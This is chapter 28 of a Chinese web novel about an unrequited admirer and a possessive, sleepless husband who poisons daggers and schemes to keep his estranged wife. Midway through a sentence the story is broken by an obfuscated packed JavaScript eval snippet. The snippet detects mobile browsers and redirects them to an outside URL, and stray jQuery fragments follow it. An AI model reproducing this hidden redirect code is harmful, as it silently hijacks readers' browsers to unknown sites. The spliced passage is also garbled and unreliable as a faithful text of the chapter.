28. 第 28 章

作品:《薄情前夫今天火葬场了吗

    薛放鹤在长廊拐角遇见长姐。


    长姐一脸撞上大好事的表情,薛放鹤就不如她这般高兴了。


    他默不作声地跟在她后边,听长姐说她方才遇见一个身手极好的人,她觉得自己很有招揽成功的希望,过几日她还要再去拜访她一回,尽快将她拿下。


    薛放鹤并不意外,长姐总喜欢这样不拘一格地挑选人才,虽然她有时候说话很轻佻,但她最擅人尽其用,不会埋没任何一个可用之才。


    一个出身普通之人若能得她赏识,为她效力,今后前途不可限量,堪称一步登天。


    薛朝容说了一堆自己想说的事后,才想起关心一下弟弟:“你要见的人呢,见着了吗?”


    薛放鹤沉默片刻,想起自己在崔韵时面前出的丑,他既惭且愧,极轻地嗯了一声。


    过去这么多年,她也长大了,和记忆里的她不大一样,可他觉得她还是那般美好。


    喜欢一个人时,她做什么都是好的。


    就连她砍翻人时,对方喷洒出的鲜血溅到他脸上,她拿了块手帕在他脸上乱擦一气,他也觉得很好。


    前阵子他得知崔韵时会陪着表妹来参加这场宴席,便舔着脸找上自己的表侄女,答应她会教她马术,只要她能带他一块来。


    然后他便当真见到她了,如同做梦一样。


    她明明是从远处走来的,可在薛放鹤心里,她就好像从天而降一般,重新降临到他的生命里。


    他少年时被伪装成山匪的刺客追杀,她也是这般突然出现,干脆利落地砍死这些人,还送了他一匹马让他骑回家。


    这本该是一段美好姻缘的开始。


    可当年他不满十四岁,而她已经十七了,三岁的差距,如果是二十四与二十七,那根本不算什么。


    可是十四和十七……他根本没机会。


    在她眼里,他就只是个半大点的孩子。


    当时她没留下名姓,也没给他报恩的机会,等他与她偶遇,认出她时,她却已经嫁给别人了。


    她的夫君……他不想提这个男子,他最恨这种样样比他强,年纪还与她匹配的货色。


    她的夫君风华正茂,已经是个可以娶妻的成年男子,而当时的他还只是个不成模样的少年。


    这些年他跟着长姐呆在永州,战事紧张,一直没有回京。


    今日他终于能站在她面前,有了告诉她,他就是当初那个少年的机会。


    可他却羞于开口向她诉说这段往事,生怕她会想起他当时只到她肩头,瘦弱不堪的模样。


    什么时候才能在她面前英武一回,让她知道他也是个不逊色于许多人的男子。


    薛放鹤想到此处便有些伤感,也许她永远都不会喜欢他这样的类型,他见过她的夫君,那人拥有让薛放鹤都自惭形秽的美貌。


    他本觉得自己长得很不错,可是在那人面前,他被比得低下头去,像一朵泥地里的野花,自以为自己是这片野地里最为绮丽的鲜花,等见到了真正的人间殊色,才知道自己从前是多么的可笑。


    也许她就是喜欢那样温文尔雅、容色出众的男子吧。


    与她的夫君相比,他的样貌显得何其粗陋,又怎么能奢望她能多看他几眼。


    薛放鹤黯然垂首。


    ——


    谢府。


    元伏一进屋子就吃了一惊,只是过去了寻常的一夜,公子的屋中却完全变了一番模样。


    几条梁柱间来回缠了数圈红色细线,近千只白色蝴蝶串在上面,一层一层地垂挂下来,规整到令人寒毛倒竖的地步。


    风一吹,满屋子的蝴蝶簌簌地响。


    风一停,它们又毫无生气地垂挂着。


    元伏浑身起鸡皮疙瘩,壮着胆子慢慢靠近,仔细一看才发现这些蝴蝶都不是真的,而是用纸裁制而成,只是做工太好,以假乱真。


    他再低头看着满地碎纸,明白这些纸都被用来做成纸蝴蝶了。


    元伏捂着心口松一口气,心道这场面太不吉利了,这个东西应该在坟头,而不应该在公子的床头。


    他撩开一层又一层的红线,往公子所在的那处望了一眼,只见他身着寝衣,随意地披着件月白色的外袍,大把红线绕在他手腕上,或长或短地垂覆下来。


    谢流忱还在剪纸,动作娴熟,元伏发呆的这一会,就见他又剪出了两只。


    元伏看看挂着的近千只蝴蝶,无比震惊地问:“公子,你该不会一整晚都在剪这个吧。”


    要不然怎么能剪出数量这么惊人的纸蝴蝶。


    谢流忱没有立刻回答他,不是他不想回应,而是他实在困得说不出话。


    他想要好好睡一觉,可是只要一躺下去,闭着眼静静等待睡意来临,那个噩梦就会重新渗透进他的脑中,将他最不想看见的景象一幕幕地反复展示给他看。


    所以他不能继续躺在床上,什么都不听,什么都不做,只重复地咀嚼她抛弃他的幻象。


    它们无孔不入,会抓住他每一个思绪的空隙,让他不得安宁。


    他起身,试图做些什么来填补空白的思绪。


    他开始剪纸蝴蝶,一整夜,他都在比对每一只之间的差别,挑选最完美的用红线串起,一只一只,再仔细丈量每一条红线垂下的长度,间距分毫不差地将它们挂好。


    他重复地做着毫无意义的事,让自己麻木、疲倦,这样他就不用再被迫去想她的事了。


    对于元伏的问题,谢流忱没有回答。


    元伏看他白得像纸一样的脸色,有心问问他怎么了,又知道自己嘴笨,怕弄巧成拙,只得道:“我去端一碗莲子羹来,公子你喝一些,提提精神。”


    谢流忱撑着头,没有应声。


    他的脑子已经乱了。


    好一会,他才意识到元若已经离开。


    谢流忱站起身,千丝万缕的红线从他身上手上垂下,他一步步往前走,将它们全不在意地丢在身后。


    他踩着满地的红线走到书架边,按下机关,墙上陡然出现一扇可以容纳两人进出的门。


    数条交错的红线仍缠绕在他身上,因为互相交错打成了死结,不管他怎么拉扯,都无法摆脱。


    他干脆拿起剪子,一下下地剪断这些红线对他的束缚。


    这下所有红线都离他而去,轻飘飘地委顿在地。


    他像抹幽魂一样走入门后,穿过熟悉的甬道。


    这条路通往的不是什么密室,而是露观楼里的一间寻常屋子,他在那里养了大量功用各不相同的毒虫恶兽。


    一条条形貌丑陋的毒虫在特制的箱体中爬行,留下粘稠的痕迹,整个屋子生机盎然,是往常他最爱呆着消磨时间的地方。


    谢流忱站在一整排柜子前,刚打开其中一个,脑中因为睡眠不足,出现了嗡嗡的幻响。


    他站在原地缓了缓,才从里面掏出一瓶这个月刚制作完成的毒药,迟钝地想了片刻,又将整个抽屉都拿了下来。


    这个抽屉装得很满,往常并没有这么多分量,但这个月他做得多了一些。


    他喜欢亲自动手制作毒药,借此放松心神,排解不快的情绪。


    然而今日他没有这份闲心,他旋开瓶塞,一点一点地给匕首涂上毒药,消耗掉这些无处可用的剧毒,以及自己仅剩的神智。


    屋外不知何时下起了雨,谢流忱侧耳听着雨声,思绪陷入短暂的空白,这给了一些东西可趁之机。


    然而这一次缠上来的不是噩梦中的画面,而是崔韵时的脸。


    她只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078293|136034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是望着他,长久地沉默,随后转开目光,看向虚空中的一点,好像那个地方比他更能吸引她的注意力。


    谢流忱嘴唇轻轻颤抖了一下。


    为何不再看着他。


    为何不与他说一句话。


    为何全然不理会他。


    谢流忱闭了闭眼,轻按眉心。


    他不想再这样愚蠢地对着一个幻象说话,不管是质问还是哀求,都是他不愿意做,也不能容忍的。


    谢流忱面无表情地将一把又一把匕首入鞘,一切归位后,他走到窗前,看屋外纷乱的雨丝。


    露观楼高三层,他居高临下,扫视着大半个谢家,掠过某处时,瞳孔倏然缩了一下。


    过快的心跳影响了他的判断,他不得不身体前倾,双目仔仔细细地描绘她的身影,终于再次确认,他没有看错,这就是崔韵时。


    她正与她的丫鬟站在一处说些什么。


    丝丝凉意吹拂他的面颊,带走脸上的热度,这阵风过于凉爽,让他两日以来积压于心的郁气一扫而空,头脑也跟着清醒起来。


    崔韵时在装病躲着他,她是不可能踏出松声院,更不可能出现在这附近的。


    可她就是出现了,这意味着她的态度有所改变,那么或许连日来的一切都是他多想了,她并没有要与他和离的打算,只是想要逃避一阵子,现在她终于收拾好情绪,要重新靠近他。


    这些复杂的想法飞快地从他脑中掠过,最后缩成一个简短的,让他欣喜的结论。


    她不会离开他。


    这么多年,他从没感激过上天,因为命运从未厚爱过他,它从他这里夺走了太多东西。


    他如今拥有的一切全都是自己谋划夺来的,可今日他终于被善待了一次。


    天意终于站在了他这边。


    谢流忱按在窗沿的手不断收紧。


    不管裴若望说过多少自我臆断的疯话,可他有一句话是对的,为了让崔韵时自愿留在他身边,让她喜欢上他,确实是一劳永逸的好办法。


    所以他该抓住这次机会,他要告诉她,他不会再像从前那般待她,也不会故意惹她生气,以逗弄她为乐。


    既然她不喜见到燕拾,那他便叮嘱妹妹若是回家,别到崔韵时眼前晃,去找母亲,去找三妹妹都可以。


    他会让妹妹敬重她,再也不去找她的麻烦。


    他也会爱护她,往后他们会像一对真正的恩爱夫妻一样,携手到老,再也不会分开。


    这些想法只要起了一个头,就自己迅速地完整了起来,他不用费心思考,便得到了一个完美的解决办法。


    谢流忱提起油纸伞,快步走下去,脚步声在楼中回荡,一声紧接着一声,仿佛在催促着他再快一点。


    他的手按上门扇,刚要推开,余光瞥见搁置在角落的那面等身铜镜,正映出他此时的模样。


    他看清镜中那个与他长相一般无二的人脸上的笑容,猛地回过神。


    他在做什么,何至于急躁成这样。


    这般情态太不稳重,简直像一个初次与心上人约好相见的毛头小子,心事浅得一眼就能被人看穿。


    这不是他。


    谢流忱放下手,慢慢平复呼吸,等到脸上的表情恢复如常,好像一切在他眼里都是同样的平淡之后,他才推开门。


    他不能一口气将自己的盘算全部告诉她,就像饲养鸟儿时,不能因为它叫声惹人怜爱,就随着它的意,让它想吃多少口粮就吃多少,那只会害了它。


    崔韵时本就是很会看人眼色,蹬鼻子上脸的人,若是过分放纵宠爱,只会养大她的胃口,跃跃欲试着想要爬到他头上来。


    他必须慢慢地,一点点地给予她想要的东西,否则她会忘乎所以、恃宠生娇的。